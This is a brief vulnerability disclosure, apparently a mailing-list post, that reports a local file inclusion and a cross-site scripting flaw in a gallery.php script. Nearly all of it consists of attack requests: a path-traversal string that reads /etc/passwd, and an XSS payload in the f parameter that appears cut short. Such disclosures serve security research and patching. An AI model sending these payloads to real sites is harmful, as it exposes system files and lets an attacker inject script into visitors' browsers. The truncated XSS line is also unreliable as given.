local file include:
/gallery.php?f=../../../../../../../../../../../../etc/passwd

xss via php error :
/gallery.php?f='">

regards laurent gaffi=E9